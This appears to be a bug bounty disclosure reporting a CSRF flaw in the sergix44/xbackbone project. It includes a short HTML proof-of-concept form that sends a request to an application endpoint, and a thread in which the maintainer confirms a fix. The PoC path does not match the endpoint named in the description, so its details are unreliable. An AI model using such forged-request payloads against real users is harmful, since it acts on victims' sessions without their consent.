Cross-Site Request Forgery (CSRF) in sergix44/xbackbone

Valid

Reported on

Jul 30th 2021


✍️ Description

following endpoint vulnerable to CSRF: /omeka/system/deleteOrphanFiles Also there is not any different that you run The application in localhost or some real hosts, this is enough to login with a browser that used the browser for online web surfacing too.

🕵️‍♂️ Proof of Concept

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/omeka/upload/1/unpublish">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

💥 Impact

This vulnerability is capable of delete any Orphan Files.

Occurences

We have contacted a member of the sergix44/xbackbone team and are waiting to hear back 4 months ago
amammad
4 months ago

Researcher


Hello Sergio Brighenti, how are you? I just want to sure you see this report too

amammad
4 months ago

Researcher


any problems?

Sergio Brighenti confirmed that a fix has been merged on 840208 4 months ago
Sergio Brighenti has been awarded the fix bounty